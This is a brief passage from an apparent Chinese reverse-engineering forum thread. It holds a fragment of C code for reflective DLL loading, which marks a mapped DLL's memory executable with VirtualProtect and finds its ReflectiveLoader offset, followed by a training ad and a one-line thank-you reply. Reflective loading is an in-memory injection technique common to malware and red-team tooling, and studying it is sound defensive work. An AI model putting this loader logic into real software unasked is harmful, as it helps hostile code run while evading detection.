    bProtect = ((VIRTUALPROTECT)Api.VirtualProtect)(pAddress, Dll.Size, PAGE_EXECUTE_READ, &lpflOldProtect);
    if (bProtect == FALSE) {
        return 1;
    }
 
    dwLdrOffset = GetReflectiveLoaderOffset(Dll.Buffer);
    if (dwLdrOffset == 0) {
        return 1;

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-8-28 10:01 被Max_hhg编辑 ,原因: 调整格式
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 3004
活跃值: (30861)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-8-25 11:04
1
游客
登录 | 注册 方可回帖
返回
//